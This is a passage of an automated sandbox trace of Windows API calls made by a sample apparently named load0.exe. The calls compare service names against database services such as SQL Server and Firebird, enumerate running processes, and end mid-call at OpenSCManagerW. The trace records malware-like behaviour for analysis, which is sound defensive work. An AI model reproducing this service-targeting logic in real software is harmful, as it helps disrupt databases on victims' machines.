(lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0282.517] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0282.517] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0282.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0282.517] lstrlenW (lpString="MpsSvc") returned 6 [0282.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0282.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0282.517] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0282.517] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0282.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0282.517] lstrlenW (lpString="NcbService") returned 10 [0282.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0282.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0282.517] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0282.517] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0282.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0282.517] lstrlenW (lpString="netprofm") returned 8 [0282.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0282.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0282.517] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0282.517] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0282.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0282.517] lstrlenW (lpString="NgcSvc") returned 6 [0282.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0282.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0282.517] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0282.517] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0282.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0282.517] lstrlenW (lpString="NlaSvc") returned 6 [0282.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0282.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0282.517] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0282.517] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0282.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0282.518] lstrlenW (lpString="nsi") returned 3 [0282.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0282.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0282.518] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0282.518] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0282.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0282.518] lstrlenW (lpString="PcaSvc") returned 6 [0282.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0282.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0282.518] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0282.518] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0282.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0282.518] lstrlenW (lpString="PlugPlay") returned 8 [0282.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0282.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0282.518] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0282.518] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0282.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0282.518] lstrlenW (lpString="Power") returned 5 [0282.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0282.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0282.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0282.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0282.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0282.518] lstrlenW (lpString="ProfSvc") returned 7 [0282.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0282.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0282.518] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0282.518] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0282.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0282.518] lstrlenW (lpString="RpcEptMapper") returned 12 [0282.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0282.519] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0282.519] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0282.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0282.519] lstrlenW (lpString="RpcSs") returned 5 [0282.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0282.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0282.519] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0282.519] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0282.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0282.519] lstrlenW (lpString="SamSs") returned 5 [0282.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0282.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0282.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0282.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0282.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0282.519] lstrlenW (lpString="Schedule") returned 8 [0282.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0282.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0282.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0282.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0282.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0282.519] lstrlenW (lpString="SecurityHealthService") returned 21 [0282.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0282.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0282.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0282.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0282.519] lstrlenW (lpString="SENS") returned 4 [0282.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0282.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0282.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0282.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0282.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0282.520] lstrlenW (lpString="ShellHWDetection") returned 16 [0282.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0282.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0282.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0282.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0282.520] lstrlenW (lpString="Spooler") returned 7 [0282.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0282.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0282.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0282.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0282.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0282.520] lstrlenW (lpString="SSDPSRV") returned 7 [0282.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0282.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0282.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0282.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0282.520] lstrlenW (lpString="StateRepository") returned 15 [0282.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0282.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0282.520] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0282.520] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0282.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0282.520] lstrlenW (lpString="SysMain") returned 7 [0282.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0282.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0282.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0282.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0282.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0282.521] lstrlenW (lpString="SystemEventsBroker") returned 18 [0282.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0282.521] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0282.521] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0282.521] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0282.521] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x115c [0282.525] Process32FirstW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.526] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.527] lstrlenW (lpString="System") returned 6 [0282.527] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.686] lstrlenW (lpString="smss.exe") returned 8 [0282.686] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.687] lstrlenW (lpString="csrss.exe") returned 9 [0282.687] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.688] lstrlenW (lpString="wininit.exe") returned 11 [0282.688] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.689] lstrlenW (lpString="csrss.exe") returned 9 [0282.689] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.690] lstrlenW (lpString="winlogon.exe") returned 12 [0282.690] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.691] lstrlenW (lpString="services.exe") returned 12 [0282.691] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.692] lstrlenW (lpString="lsass.exe") returned 9 [0282.692] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.693] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.693] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0282.694] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0282.694] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.695] lstrlenW (lpString="svchost.exe") returned 11 [0282.695] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.696] lstrlenW (lpString="svchost.exe") returned 11 [0282.696] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.697] lstrlenW (lpString="dwm.exe") returned 7 [0282.697] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.697] lstrlenW (lpString="svchost.exe") returned 11 [0282.698] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.698] lstrlenW (lpString="svchost.exe") returned 11 [0282.698] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.699] lstrlenW (lpString="svchost.exe") returned 11 [0282.699] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.700] lstrlenW (lpString="svchost.exe") returned 11 [0282.700] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.701] lstrlenW (lpString="svchost.exe") returned 11 [0282.701] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.702] lstrlenW (lpString="svchost.exe") returned 11 [0282.702] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.703] lstrlenW (lpString="svchost.exe") returned 11 [0282.703] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.704] lstrlenW (lpString="svchost.exe") returned 11 [0282.704] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.705] lstrlenW (lpString="svchost.exe") returned 11 [0282.705] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.705] lstrlenW (lpString="svchost.exe") returned 11 [0282.705] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.706] lstrlenW (lpString="spoolsv.exe") returned 11 [0282.706] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.707] lstrlenW (lpString="svchost.exe") returned 11 [0282.707] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.708] lstrlenW (lpString="audiodg.exe") returned 11 [0282.708] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0282.709] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0282.709] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0282.710] lstrlenW (lpString="Memory Compression") returned 18 [0282.710] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.710] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0282.710] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.712] lstrlenW (lpString="sihost.exe") returned 10 [0282.712] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.712] lstrlenW (lpString="svchost.exe") returned 11 [0282.713] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.713] lstrlenW (lpString="taskhostw.exe") returned 13 [0282.713] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0282.714] lstrlenW (lpString="msoia.exe") returned 9 [0282.714] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.715] lstrlenW (lpString="explorer.exe") returned 12 [0282.716] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.716] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.716] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.717] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.717] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.718] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.718] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0282.719] lstrlenW (lpString="load0.exe") returned 9 [0282.719] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0282.835] lstrlenW (lpString="load0.exe") returned 9 [0282.835] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.836] lstrlenW (lpString="svchost.exe") returned 11 [0282.836] Process32NextW (in: hSnapshot=0x115c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0282.836] CloseHandle (hObject=0x115c) returned 1 [0282.836] Sleep (dwMilliseconds=0x1f4) [0283.438] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 